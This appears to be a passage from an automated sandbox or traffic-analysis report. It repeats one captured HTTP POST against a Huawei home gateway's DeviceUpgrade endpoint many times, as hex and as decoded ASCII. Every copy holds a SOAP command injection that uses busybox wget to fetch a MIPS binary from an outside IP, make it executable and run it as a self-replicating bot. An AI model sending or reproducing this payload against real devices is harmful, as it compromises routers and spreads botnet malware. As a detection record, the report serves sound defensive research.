72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 